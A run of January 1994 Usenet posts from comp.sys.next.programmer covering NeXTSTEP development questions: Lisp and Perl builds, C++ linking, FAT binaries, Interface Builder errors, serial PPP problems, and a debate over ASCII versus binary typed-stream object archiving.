From: marcus@ursula.ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.programmer Subject: Re: Common Lisp interpreter Date: 28 Jan 1994 01:35:16 -0800 Message-ID: <2iam8l$1ja@ursula.ee.pdx.edu> References: <2i4n64$4ec@agate.berkeley.edu> markf@cory.EECS.Berkeley.EDU (Mark Frohnmayer) writes: >Anyone know of a good common lisp interpreter that will work with NS/FIP? CLISP, by Bruno Haible and Michael Stoll, has been cross compiled for NS/FIP. If someone wanted to try building (the rest of it) under NS/FIP, the feedback would be very welcome. CLISP is available at ma2s2.mathematik.uni-karlsruhe.de:/pub/lisp/clisp. You'd want the latest version, 1994-01-25. BTW, the main executable in /pub/lisp/clisp/binaries/next is compiled FAT. Marcus Daniels
Newsgroups: comp.sys.next.programmer From: hernadi@acs.ucalgary.ca (Istvan Hernadi) Subject: Porting X/Motif application to NeXTStep Message-ID: <Jan28.010546.18809@acs.ucalgary.ca> Sender: Istvan Hernadi Date: Fri, 28 Jan 1994 01:05:46 GMT Organization: The University of Calgary, Alberta Has anyone ported Motif based programs to NeXTStep? I am looking for any examples or some notes on what to watch out for; or any helpful hints. What sort of things might be difficult to do, or where NeXTStep does not have a good Motif equivalent. Thanks in advance, Istvan hernadi@acs.ucalgary.ca (non-Next mail) or hernadi@ear1.hsc.ucalgary.ca (NeXT mail ok)
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: c++'ing under NS3.2 (ASCII) Message-ID: <1994Jan28.120806.21843@hot.com> Keywords: C++ Sender: robertl@hot.com Organization: Hot Technologies References: <1994Jan26.152400.2103@nugget.rmNUG.ORG> Date: Fri, 28 Jan 1994 12:08:06 GMT You need to link with the libg++ library. $ cc++ hello.c -lg++ Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <1994Jan26.152400.2103@nugget.rmNUG.ORG> karl@khaos.com (Karl Hanzel) writes: OK (i'm reviewing my c++ from over a year ago), i had heard that 3.2 was supposed to have the complete g++ libraries included, and that appears to be true. More than anything, i'm just not familiar with the cc++ compiler. What's to do with the following "text book" example?: #include <iostream.h> main() { cout << "Hello, World\n"; } $ cc++ hello.c ld: Undefined symbols: _cout ostream::operator<<(const char *) I grep'd around trying to determine where cout is constructed, but didn't find anything. The only reference to it at all is in iostream.h where it's declared as an extern: extern ostream cout, cerr, clog; // clog->rdbuf() == cerr->rdbuf() So i'm puzzled. What is the third line from the compiler about?... is that still in reference to the undefined symbol? If i inject ostream cout; to declare it myself, i get more flak: $ cc++ hello.c ld: Undefined symbols: ostream::operator<<(const char *) ostream::~ostream() ostream::ostream(int) Pffft! What gives? Thanks, Karl *----->
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: FAT troubles continue (HELP!!) Message-ID: <1994Jan28.122930.21926@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <1994Jan24.205428.13145@news.csuohio.edu> Date: Fri, 28 Jan 1994 12:29:30 GMT Be sure to check NeXTanswers document #1179 on fat libraries. It describes how to build fat (MAB) libraries and how to use the new NS 3.1/3.2 utility called libtool. This document is available from: ftp.next.com:/pub/NeXTanswers/ByNumber/1179.compressed Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <1994Jan24.205428.13145@news.csuohio.edu> cowboy@omega.csuohio.edu (Joe Rosenfeld) writes: > I have been striving vainly to get NeXT's cc to produce FAT or MAB > files, under NS 3.2 for some time. Believe it or not, I thought I was > doing the correct things to compile into a FAT binary but it continues > to elude me. > > I have been able to compile FAT files using NeXT apps and the Project > Builder. That is the extent of my luck, however. When I try to > compile a non-NeXTSTEP app, such as elm, tin, Lynx, or whatever, it > compiles only for the specific architecture compiled on, even though a > lipo -info seems to show I have the required FAT library files, and > even though I am adding -arch i386 -arch m68k to the CFLAGS in every > makefile. > > I can compile a file on my Intel computer and Black hardware > (separately) and then use the lipo -create to combine the files into a > FAT file. But I cannot get it to COMPILE that way either via the unix > command line or through the Project Builder, unless it is a NeXT App. > > I feel like this is a cosmic joke, but I also understand I MUST be > doing something incorrect. Must be, right? > > I get the feeling something in the linking process is missing, I have > read all the docs, which are VERY SKETCHY, to say the least, and I > wonder if this problem will ever be rectified. I know people are > making FAT files and figure with the Developer kit installed this > should be possible for me, also. > > What am I doing wrong? What has to be done to get the FAT files to > compile and LINK into a single FAT binary. > > If anyone can help, I would be so grateful I will leave the list alone > for a long while :-), promise :-) > > Hmmm ... I never thought I would be pursuing FAT so hard! :-) > > Regards- > Joe > > -- > > | Joe Rosenfeld j.rosenfeld@csuohio.edu > | Automation Librarian (216) 687-6881 [FAX] > | CSU Law Library trans.csuohio.edu [ANON FTP] > | NeXTMail and MIME ok
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Re: Typed streams are evil (I've implemented text, it's better) Message-ID: <CKCJnz.928@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX References: <2i93kv$f5n@gpo.gb.swissbank.com> Distribution: usa Date: Fri, 28 Jan 1994 15:43:10 GMT In article <2i93kv$f5n@gpo.gb.swissbank.com> griffid@flash_heart (Dave Griffiths) writes: >>In article <2i8jf8$4pq@yucca.omnigroup.com> wjs@omnigroup.com (William >>Shipley) writes: >>[Excellent argument in favour of ascii deleted] >> >>I think what we need is a standard way of archiving objects as ascii text. >>This mechanism could then be used to unify and replace 1) typed streams, >>2) nib files, 3) the defaults database and 4) whatever DO's use to pass >>themselves over the wire. >> >>These are all just different aspects of the same thing: freeze-dried >>objects. I include the defaults database because that is also mainly used >>for saving application state info, even if it's only the "Controller" >>object. >> >>Nib files are an interesting case: IB is really just an editor for >>archived objects. One thing I'm not sure about though is how the >>connection mechanism works - anyone like to comment on how connections >>might be archived? >> >>Imagine replacing read:/write:, encode:/decode:, awakeFromNib etc with >>just standard in:/out: methods using an ascii stream. >> >>Possible? >> Which begs the question: Can ANY (i.e. arbitrarily complex) object be described in terms of a literal (ascii) specification/syntax ? Can anyone think of an example object that cannot be distilled into ascii ? Why or Why not ? -- Ronald Pomeroy Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: "NeXT Registered Consultant" Date: 28 Jan 1994 16:28:18 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2ibef2$pku@darkstar.UCSC.EDU> References: <CKBt2B.KyB@dsinc!flash> In article <CKBt2B.KyB@dsinc!flash> flash!jon@myxa.com writes: > > So, has anyone gotten their money's worth out of being a "Registered > Consultant"? > Well, I think it's a little early to tell since the program has actually been running for only a short time (~1 month?). Although the first Registered Consultant applications were filed several months ago, NeXT only recently actually conferred Registered Consultant status and, the real sign of the beginning, billed credit card companies for the R.C. fee :-) I have received my first issue of _NEXTSTEP in Focus_. I found it to be very well done, but I don't consider myself to be a typical user (I'm primarily a programmer) and I don't enjoy system administration chores which I don't get involved with very much with my standalone system. N.I.F.'s intended audience is users and system administrators, so that's really not me. I can get _NEXTSTEP in Focus_ via NeXTanswers, so having a hard copy with an included on-line copy on floppy has some value, but it isn't great to me. I have received a preliminary version of the quarterly NeXTanswers CD-ROM. Because I have ftp access to ftp.next.com, having a CD-ROM containing material I can get via ftp has some value (much less time is required to access NeXTanswers on the CD-ROM versus via ftp, but the CD-ROM version may be somewhat out-of-date). NeXT has stressed that they are looking at ways to increase the value of this CD-ROM, so I think it may be more valuable in its final form. I have received the premier issue of _NXApp_, the NEXTSTEP development journal. I found this to be really well done and to be of considerable value to me because development is my primary interest. Almost all of the articles contained material which further enhanced my understanding of various NS features like [P.]D.O. (nice overview, Dennis), dynamic loading (really good, Andrew), and DBKit (valuable enhanced functionality, Mai). And the articles on O-O design (well written, Scott) and app testing (what a difficult task, Jim and Nicholas) were valuable in reading, I thought. So I'm real happy with this benefit. So at this stage in the R.C. program, I'd have to say that I feel like I've gotten my money's worth. --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.programmer From: btf64@cas.org (Bernard T. French) Subject: Re: "NeXT Registered Consultant" Message-ID: <1994Jan28.174807.1567@chemabs.uucp> Sender: usenet@chemabs.uucp Organization: Chemical Abstracts Service, Columbus, Ohio References: <CKBt2B.KyB@dsinc!flash> <2ibef2$pku@darkstar.UCSC.EDU> Date: Fri, 28 Jan 1994 17:48:07 GMT In article <2ibef2$pku@darkstar.UCSC.EDU> art@cubicsol.com (Art Isbell) writes: > I have received the premier issue of _NXApp_, the NEXTSTEP development >journal. I found this to be really well done and to be of considerable >value to me because development is my primary interest. Almost all of the >articles contained material which further enhanced my understanding of >various NS features like [P.]D.O. (nice overview, Dennis), dynamic loading >(really good, Andrew), and DBKit (valuable enhanced functionality, Mai). >And the articles on O-O design (well written, Scott) and app testing (what >a difficult task, Jim and Nicholas) were valuable in reading, I thought. >So I'm real happy with this benefit. This is the first mention of a development journal for the NeXT that I have seen. Is it required to be a NeXT registered consultant to subscribe? -- Bernie +------------------------------------------------------------------------+ | REWARD: Lost .sig, last seen in comp.sys.* or bionet.*, answers to | | the name btf64@cas.org | +------------------------------------------------------------------------+
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: Reversing the colors in printPSCode: Message-ID: <1994Jan28.000615.1018@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <2i4gnc$cqm@cmcl2.NYU.EDU> Date: Fri, 28 Jan 1994 00:06:15 GMT In article <2i4gnc$cqm@cmcl2.NYU.EDU> dario@voluptas (Dario Ringach) writes: > > I've a View where I draw white objects on a black background. > Is there a way to make printPSCode reverse the colors (black > objects on a white background). In general, is there a way > to make printPSCode: take some prolog PS code before sending > the postcript to the printer? > > Thanks. > -- > Dario Something like this will work for black and white drawings: In your .psw file: defineps PSinvertblackandwhite() { 1 exch sub } settransfer endps In the view you are printing: - beginSetup { [super beginSetup]; PSinvertblackandwhite(); return self; } andrew -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
Newsgroups: comp.sys.next.programmer From: chris@its.com (Chris Cuilla) Subject: Re: Typed streams are evil (I've implemented text, it's better) Message-ID: <1994Jan28.145642.9014@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <2i93kv$f5n@gpo.gb.swissbank.com> Date: Fri, 28 Jan 1994 14:56:42 GMT Dave Griffiths writes > > Imagine replacing read:/write:, encode:/decode:, awakeFromNib etc with > just standard in:/out: methods using an ascii stream. > > Possible? > > These are all just different aspects of the same thing: > freeze-dried objects. This WOULD be terrific. ASCII text file formats ARE the way to go! hsr@cs.Stanford.EDU (Scott Roy) writes: > This idea sounds fantastic. Pointers should be no > trouble--just keep a unique tag for each object in the > archive file, and fill in all the unresolved references > after everything is read. If you take a glance at Brad Cox's "Object-Oriented Programming; An Evolutionary Approach" (actually, I BELIEVE there is a co-author but I can't think of his/her name at the moment...sorry). Anyway...they talk about this point specifically, and (apparently) Brad Cox's Objective-C (Stepstone), DID use ASCII file archiving, it was very simple (it seemed) and had a variety of benefits. Number one of which was that objects could be archived to some format and be unarchived in another language that knew how to unarchive objects as described in this format. Really cool IMHO. > Thinking about it now, why didn't NeXT just use ASCII to > begin with? [Sarcasm on]; Because..."whay would anyone ever want go in and edit those files?";-) [Sarcasm off]; -- Chris Cuilla --- NEXTSTEP Developer chris@its.com --------------------------------------------------------------------- "There's no such thing as a 'part-time' perfectionist."
Newsgroups: comp.sys.next.programmer From: bernhard@il.us.swissbank.com (Bernhard Straub) Subject: Access Mail from Custom Application Message-ID: <1994Jan28.153826.9309@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Fri, 28 Jan 1994 15:38:26 GMT We have developed an application that prints letters based on data held in a database. The letter is saved in a .ps file. We are looking for a way to invoke the Mail application, put the adresses (in the To: field) and the subject and place the .ps file icon in the mail. Is there a documentation or sample code for NeXTStep 3.0 to invoke the above actions from a custom application?
Newsgroups: comp.sys.next.programmer From: smith@nextone.niehs.nih.gov (Howard C. Smith) Subject: eps to tiff translator Message-ID: <1994Jan28.194033.12442@alw.nih.gov> Sender: postman@alw.nih.gov (AMDS Postmaster) Organization: National Institutes of Health Date: Fri, 28 Jan 1994 19:40:33 GMT Help. I suddenly find myself needing a eps to tiff command line translator. I must have been sleeping when someone (eric p scott?) posted a solution. I have a vague memory about what is required to use NXImage without a window server so the following code will work: #import <appkit/appkit.h> int main(int argc,char *argv[]) { NXImage *image; NXStream *stream; image = [NXImage alloc]; [image loadFromFile:argv[1]]; stream = NXMapFile("outfile.tiff",NX_READWRITE); NXSeek(stream,0L,NX_FROMSTART); [image writeTIFF:stream]; NXClose(stream); } Howard C. Smith National Institute of Environmental Health Sciences 111 T.W. Alexander Drive Research Triangle Park, NC 27709 smith@nextone.niehs.nih.gov
Newsgroups: comp.sys.next.programmer From: eugene@nshade.uah.ualberta.ca (Eugene Mah) Subject: Interface Builder Help!!!! Message-ID: <1994Jan28.201340.18232@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Fri, 28 Jan 1994 20:13:40 GMT Help!!! My InterfaceBuilder.app's gone off the deep end on me! All of a sudden, it's stopped running when I try to launch it. I get an error panel saying Runtime Error: NXReadOnlyString : does not recognize selector -replaceWith:. and Jan 28 11:46:48 raddi InterfaceBuilder[687]: An uncaught exception was raised Jan 28 11:46:48 raddi InterfaceBuilder[687]: Unknown error code 314159 in NXReportError appears in my console. This only happens when I try to run IB. If I run it as another user, it works, except that IB hangs everytime I try to add or remove a palette. I've tried a complete reinstall of the Dev package from the CD-ROM, and even deleted the Dev package before reinstaling. Didn't help things at all. I'm fresh out of ideas now. Anyone out there have something I can try to get IB working again? Thanks alot Eugene -- ------------------------------------------------------------------ Eugene Mah ----> eugene@uaneuro.uah.ualberta.ca (NeXT-Mail) grad student/sys admin "For I am a Bear of Very Department of Radiology Little Brain, and University of Alberta Hospitals long words bother me." Edmonton, Alberta, Canada Winnie the Pooh
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Seeking improved fingerd/finger code... In-Reply-To: bebeada@elof.acc.iit.edu's message of Fri, 28 Jan 94 02:06:45 GMT To: bebeada@elof.acc.iit.edu (Adam Beberg) Message-ID: <CEDMAN.94Jan27231919@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1994Jan28.020645.14988@iitmax.iit.edu> Date: Fri, 28 Jan 1994 04:19:17 GMT In article <1994Jan28.020645.14988@iitmax.iit.edu> bebeada@elof.acc.iit.edu (Adam Beberg) writes: I'm looking for source for improved versions of fingerd to provide aditional services, i.e. mail messages to the fingerie etc. I have gotten the standard bsd fingerd code but it does just about nothing... Any improvements would be appreciated, please post in comp.sys.next.programmers or mail me... Check out the new-finger code available from e.g. nova.cc.purdue.edu. It is a modified BSD fingerd which both tracks the host and username of the fingerers _and_ allows each user to efficiently run arbitrary scripts when fingered. Mailing the fingeree is trivially accomplished with these facilities. So for example my ~/.plan file looks like this: #!/bin/sh cd /Users/cedman echo "Be always displeased with what thou art, if you desirest to attain to what thou\nart not; for where thou hast pleased thyself, there thou abidest. But if thou\nhave enough thou perishest. Always add, always walk, always proceed. Neith er\nstand still, nor go back, nor deviate.\n -- Augustine" echo `/bin/date` ":" $1 >>.fingerers case $1 in @*) /usr/local/bin/finger $1 </dev/null | /usr/ucb/mail -s "Finger $1" cedman >/de v/null ;; *) /usr/ucb/mail -s "Finger $1" cedman </dev/null >/dev/null ;; esac For more details see the documentation. Carl Edman
Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin From: eugene@nshade.uah.ualberta.ca (Eugene Mah) Subject: Interface Builder Problems! Help!! Message-ID: <1994Jan28.193039.17000@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Fri, 28 Jan 1994 19:30:39 GMT Help!!! My Interface Builder's gone psycho on me! It's suddenly started giving me these error messages: This appears in my console window Jan 28 11:46:48 raddi InterfaceBuilder[687]: An uncaught exception was raised Jan 28 11:46:48 raddi InterfaceBuilder[687]: Unknown error code 314159 in NXReportError and this appears in an alert panel when I launch InterfaceBuilder Runtime Error: NXReadOnlyString : does not recognize selector -replaceWith:. and then it quits. This only happens when I try to run it though. If someone else runs it, it works fine, although it hangs if you try to add or remove a palette. This all started when I installed MiscKit and went to look at the palettes with IB. Well, that's when I first noticed something was wrong with IB anyway. I'm not saying that MiscKit caused it or anything. I'm running NS3.0 on a non-turbo black slab. I've tried a complete reinstall of the Dev package from the CD, but it didn't help. I even deleted the Dev package and reinstalled it too, but no success. Anyone out there have any bright ideas? I'm all out. Thanks alot eugene -- ------------------------------------------------------------------ Eugene Mah ----> eugene@uaneuro.uah.ualberta.ca (NeXT-Mail) grad student/sys admin "For I am a Bear of Very Department of Radiology Little Brain, and University of Alberta Hospitals long words bother me." Edmonton, Alberta, Canada Winnie the Pooh
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Typed streams are evil (I've implemented text, it's better) Message-ID: <1994Jan28.210711.17207@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <2i93kv$f5n@gpo.gb.swissbank.com> <1994Jan28.145642.9014@il.us.swissbank.com> Date: Fri, 28 Jan 1994 21:07:11 GMT In article <1994Jan28.145642.9014@il.us.swissbank.com> chris@its.com writes: >>Dave Griffiths writes >>> >>> Imagine replacing read:/write:, encode:/decode:, awakeFromNib etc with >>> just standard in:/out: methods using an ascii stream. >>> >>> Possible? >>> >> >>> These are all just different aspects of the same thing: >>> freeze-dried objects. >> >>This WOULD be terrific. ASCII text file formats ARE the way to go! >> Personally, I think typed streams are a much better solution, but I can understand people's point of view on this. I regularly deal with a variety of graphics (2D and 3D) formats, and it's great from a parsing point of view and hacking about point of view to have ASCII. But, when production kicks in, ASCII (in all cases in my world; yours may be different) is a lose and binary is the way to go. The obvious solution, and one that works for me with all the various formats I support, is to have tools to allow you to go back and forth, losslessly, between the two formats. As an FYI, the way I deal with RIB in my WavesWorld palette is essentially to convert the ASCII RIB file to an ASCII eve file (my own dialect of tcl) and treat it as a freeze dried version of a hierarchy of the objects in my WW3DPalette. I use tcl this way in alot of different ways, but the WavesWorld palettes is the only generally available piece of software I've written that does this. This is one of my big pet peeves of IB, though - the fact that I can't generate a .nib file programmtically in any way other than using IB. I like to use .nib files as ways of freeze-drying objects, since they're so nicely supported in NS. >>> Thinking about it now, why didn't NeXT just use ASCII to >>> begin with? >> If my memory serves me correctly, .nib files used to be ASCII. I could be misremembering; I understood a lot less back in the .9 days, and a lot flew past me, like the coolness of .nib files... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: laine@MorningStar.Com (Laine Stump) Subject: next serial woes Message-ID: <LAINE.94Jan28154013@sail.MorningStar.Com> Sender: news@MorningStar.Com Organization: Morning Star Technologies Date: Fri, 28 Jan 1994 20:40:13 GMT In porting our PPP implementation to NeXT Step we have encountered the following problem (on both Intel and NeXT hardware). I am posting a short description here in hopes that somebody else has seen the same problem and figured out a workaround. The application currently works fine on outbound connections using cufa, the problem is with inbound connections. Note that we are using 9600bps for all tests, so speed shouldn't be a problem. We are using Posix compliant tty calls, and linking with -posix, as indicated in the NeXT documentation. For incoming connections, getty is enabled on ttyfa. When a certain username logs in, a shell script is called in place of a normal user shell. (Logfiles on both sides of the connection show that both sides are able to read and write with no problems). The script calls our ppp daemon. The daemon first learns the name of its tty, then does open(/dev/<ttyname>,O_RDWR) (which returns success with fd==5). Then it gets the current tty modes (with tcgetattr), makes a few changes (c_cflag = CREAD | CS8 | HUPCL, c_iflag = IGNGRK, sg_flags = RAW, c_oflag = c_lflag = 0), and sets the new modes (with tcsetattr). Next, it sends its first configuration packet to the other end. This packet is received by the other end with no problem. But, when it tries to read a reply (with read() from the fd gotten above) read returns something < 0 and errno indicates an "I/O Error" (EIO == 5). If I change the code to retry the read, it gets the same value. Something about attempting to read causes it to croak. The exact same code works with no problems if started up on a cuxx port for an outgoing connection, and on other BSDs with Posix compliant ttys as well. It only occurs on NeXTs when running our program after getty and login on a ttyxxx port. Also, this problem did not exist with NeXT Step 3.0 - it started with 3.1 and has continued with 3.2. Every call to NeXT concerning this problem has been answered with "get the latest patch/version. That should fix it". To this date it hasn't "fixed it". Has anyone else encountered this problem when opening the current console with open()? If so, do you have any workarounds? (Note that I *have* seen the replacement serial driver bobbing around in the last few weeks. We would prefer, however, to solve the problem with stock NeXT drivers so that we aren't forced to require our customers to install software that isn't supported by either NeXT or ourselves.) Please reply by email, as I can't read here every day but want to get this problem resolved yesterday! Thanks, Laine Stump laine@morningstar.com
Newsgroups: comp.sys.next.programmer From: clloyd@gleap (Charles C. Lloyd) Subject: Re: Typed streams are evil (I've implemented text, it's better) Message-ID: <1994Jan28.205137.8556@gleap.sccsi.com> Sender: clloyd@gleap.sccsi.com Organization: GiantLeap Software References: <1994Jan28.145642.9014@il.us.swissbank.com> Date: Fri, 28 Jan 1994 20:51:37 GMT Chris Cuilla writes > >This WOULD be terrific. ASCII text file formats ARE the way to go! > >hsr@cs.Stanford.EDU (Scott Roy) writes: >> This idea sounds fantastic. Pointers should be no >> trouble--just keep a unique tag for each object in the >> archive file, and fill in all the unresolved references >> after everything is read. > >If you take a glance at Brad Cox's "Object-Oriented Programming; An >Evolutionary Approach" (actually, I BELIEVE there is a co-author but I >can't think of his/her name at the moment...sorry). Anyway...they talk >about this point specifically, and (apparently) Brad Cox's Objective-C >(Stepstone), DID use ASCII file archiving, it was very simple (it seemed) >and had a variety of benefits. Number one of which was that objects could >be archived to some format and be unarchived in another language that knew >how to unarchive objects as described in this format. Really cool IMHO. > I've been following this thread for a while and I guess now is the appropriate time to chime in. I posted this response (below) to the OPN mailing list in response to the original. There's been a lot of Tcl talk there lately. I follow it up with Brad Cox's reaction. [When reading the post below, bear in mind that there are several efforts underway to provide an ObjC interface in Tcl and these look very good! Since this post, I have played around with some ideas for Tcl as an archiving language and I think its very doable]. Date: Sun, 23 Jan 94 00:06:39 -0600 From: clloyd@gleap.sccsi.com (Charles C. Lloyd) To: OPN List <gleap.sccsi.com!vega.stanford.edu!OPN@nuchat.sccsi.com> Subject: Tcl for Object Archiving? Cc: gleap.sccsi.com!research.canon.oz.au!luke@nuchat.sccsi.com Reply-To: clloyd@gleap.sccsi.com Hi again, Luke Kendall <luke@research.canon.oz.au> made a post today to c.s.n.programmer ("Typed streams are evil") which got me to thinkin' about an additional, possible use for Tcl in the NS environment: object archiving. Luke's thesis is that an ascii representation of an archived object or objects is better than a binary representation because of its human readability. Most of his arguments are completely valid and it occurred to me that, were Tcl to be adopted as the System Level Scripting Langauge for NS, then it might make sense to use Tcl as the format for archiving objects. Can anyone comment (pro or con) as to whether Tcl, or any scripting langauge, would be a reasonable way to go? It strikes me that, if Tcl is used, then we programmers who might be looking at an ascii archive would not have to learn yet another syntax to understand what we were looking at. Of course, the efficiency of using Tcl as compared to another format might nix the whole idea, I don't know. However, it might open the door for as-yet-unseen possibilties. For example, it might be desirable to imbed the "awake" method in the archive. Perhaps things like IBConnectors could be handled more gracefully/logically due to the fact that the archive is actually code and not simply data(?). I really haven't thought through these issues but I thought I'd toss it out as food for thought. Charles. --- Charles Lloyd clloyd@GLeap.sccsi.com GiantLeap Software (713) 292-5853 or 363-9001 (Hou) (713) 363-9763 (fax) X-Sender: bcox@mason1.gmu.edu Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 23 Jan 1994 15:50:42 -0500 From:bcox@ gmu.edu (Brad Cox @ GMU/PSOL) Subject: Re: Tcl for Object Archiving? >Can anyone comment (pro or con) as to whether Tcl, or any scripting langauge, >would be a reasonable way to go? It strikes me that, if Tcl is used, then we >programmers who might be looking at an ascii archive would not have to learn >yet another syntax to understand what we were looking at. Separate the language (interpreter, scripter or compiler) issues from syntax issues. I've often regretted not adopting a general but syntax for saved files from the beginning; Lisp-style lambda expressions would have done. So might have a post-fix representation such as Forth (Postscript). The main thing I'd look for is a representation that can express both data and code, which is the big shortcoming of the adhoc format I wound up with. Network-based objects are going to have to haul code around with them *someday*; probably sooner than we think. ------------------------End Brad Cox Post---------------------- -- Charles Lloyd clloyd@GLeap.sccsi.com GiantLeap Software (713) 292-5853 or 363-9001 (Hou) (713) 363-9763 (fax)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Documenting Nibs Palette Submission Date: 29 Jan 1994 01:26:43 -0000 Organization: me organized? That's a joke! Message-ID: <2ice0j$1gq@steffi.demon.co.uk> I have uploaded NibInfoPalette.palette.compressed to cs.orst.edu which will document a nib file. The output is shown below. (Fairly self explanatory) Few things to note. CustomObjects are File's owner or CustomViews and NULL is First Responder. To activate this function. Simply load the palette ensuring that it is the active palette and simply save the nib. A file with the same name as the original nib with a .info extension will be created in the same directory that the nib wrapper existed. Disclaimer: This palette uses private IB API. To my knowledge there's no other way to do this stuff thru the IB protocols as they stand at the moment. This is likely to be updated gradually in the next few days. It has crashed in other environments and I'd be interested in hearing how it performs in yours. My goal is to provide more specific information about the actual Object rather than its class. If anybody wants to send me two icons, one for the palette and one for the object (although the object doesn't really do anything) I will be happy to include them. 2 bit and 12 bits required. Any problems please mail me. (suggestions welcome) robert:/usr/tmp>cat UNTITLED.nib.info MenuCell("Info...") MenuCell("Select All") MenuCell->NULL [selectAll:] MenuCell("Paste") MenuCell->NULL [paste:] MenuCell("Copy") MenuCell->NULL [copy:] MenuTemplate("Edit") WindowTemplate("My Window") WindowTemplate->MenuTemplate [delegate] IBFirstResponder View Button("N/A") MenuCell("Quit") MenuCell->CustomObject [terminate:] MenuCell("Hide") MenuCell->CustomObject [hide:] MenuCell("Edit") Matrix Matrix MenuTemplate("UNTITLED") MenuTemplate->WindowTemplate [delegate] MenuCell("Cut") MenuCell->NULL [cut:] MenuCell("Info...") MenuCell("Select All") MenuCell->NULL [selectAll:] MenuCell("Paste") MenuCell->NULL [paste:] MenuCell("Copy") MenuCell->NULL [copy:] MenuTemplate("Edit") WindowTemplate("My Window") WindowTemplate->MenuTemplate [delegate] IBFirstResponder View Button("N/A") MenuCell("Quit") MenuCell->CustomObject [terminate:] MenuCell("Hide") MenuCell->CustomObject [hide:] MenuCell("Edit") Matrix Matrix MenuTemplate("UNTITLED") MenuTemplate->WindowTemplate [delegate] MenuCell("Cut") MenuCell->NULL [cut:] -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "What?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: ian@mindvox.phantom.com (Ian Bainbridge) Newsgroups: comp.sys.next.programmer Subject: Compiling PERL on nsfip Date: Fri, 28 Jan 94 21:07:42 EST Organization: [MindVox] / Phantom Access Technologies / (+1 800-MindVox) Distribution: world Message-ID: <JF7Vgc1w165w@mindvox.phantom.com> Originator: ian@mindvox Before I embark on something that might be a mess, let me ask, are there any special changes that need to be made in order to get perl to compile on the white hardware? thanks ian ################# @ #Ian Bainbridge # mindvox. # ############################################### phantom. # I am not responsible for my opinons, I don't know or care! # com ###############################################################
Newsgroups: comp.sys.next.programmer From: luke@research.canon.oz.au (Luke Kendall) Subject: Re: Typed streams are evil Message-ID: <CK4C72.F2y@research.canon.oz.au> Sender: news@research.canon.oz.au Organization: Canon Information Systems Research Australia Date: Mon, 24 Jan 1994 05:21:01 GMT I wrote: >>Actually, my opinion is that you have to think carefully about using >>typed streams for saving/restoring data (in particular, as your file >>save format). >>[...] >> 1) Any change to any of the data types you're saving means >> that you won't be able to read your old data files. [...] wave@media.mit.edu (Michael B. Johnson) replied: >Uh, y'all ever heard of versioning? No, I didn't know that typed streams supported versioning. I stand corrected on that point. Let's assume that everyone who's using typed streams knows about versioning and is using it properly. ><< a bunch of other lame-o reasons for not using typed streams >> If you think they're lame-o reasons, [shrugs] well, ok. I guess it's my unix background showing; belief in building from small, general parts instead of monolithic subsytsems. If you don't want to grep, or spell check, or (etc. etc.) your data, that's your choice. I also wrote: >> 2) Any error in your data file will make it unreadable. and robert@steffi.demon.co.uk (Robert Nicholson) replied: > Ever heard of exception handling? Yes. Exception handling can't cope with corrupted binary data, except in the simplest of cases. Really. Think about it. On the other hand, an ascii format that's been designed with goals of ease of parsing etc. is usually not too hard to hand-correct after a disaster. >> 3) Also, during development, a simple ascii format lets you debug >> easily, and even test out features of your system even before >> you have a fancy application to create your files. > Ascii is appropriate when you are doing nasty stuff like >attampting to save windows and views etc. It's simply not necessary >to save "graphical" objects and you should only save the necessary >information in order to reconstruct these objects "by hand" yourself >from the data written in the file. There's been too many war stories >about people attempting to save windows and their views using >TypedStreams and regretting it latter for doing so. So you agree with me? >Just about every document based NeXTSTEP application uses TypedStreams. >So long as they are used correctly and appropriately I see nothing >wrong with them. Or maybe you disagree? Anyway, the people who did Diagram! version 2 saw advantages in changing to ascii. >> 5) No hardware or compiler architecture problems if you use 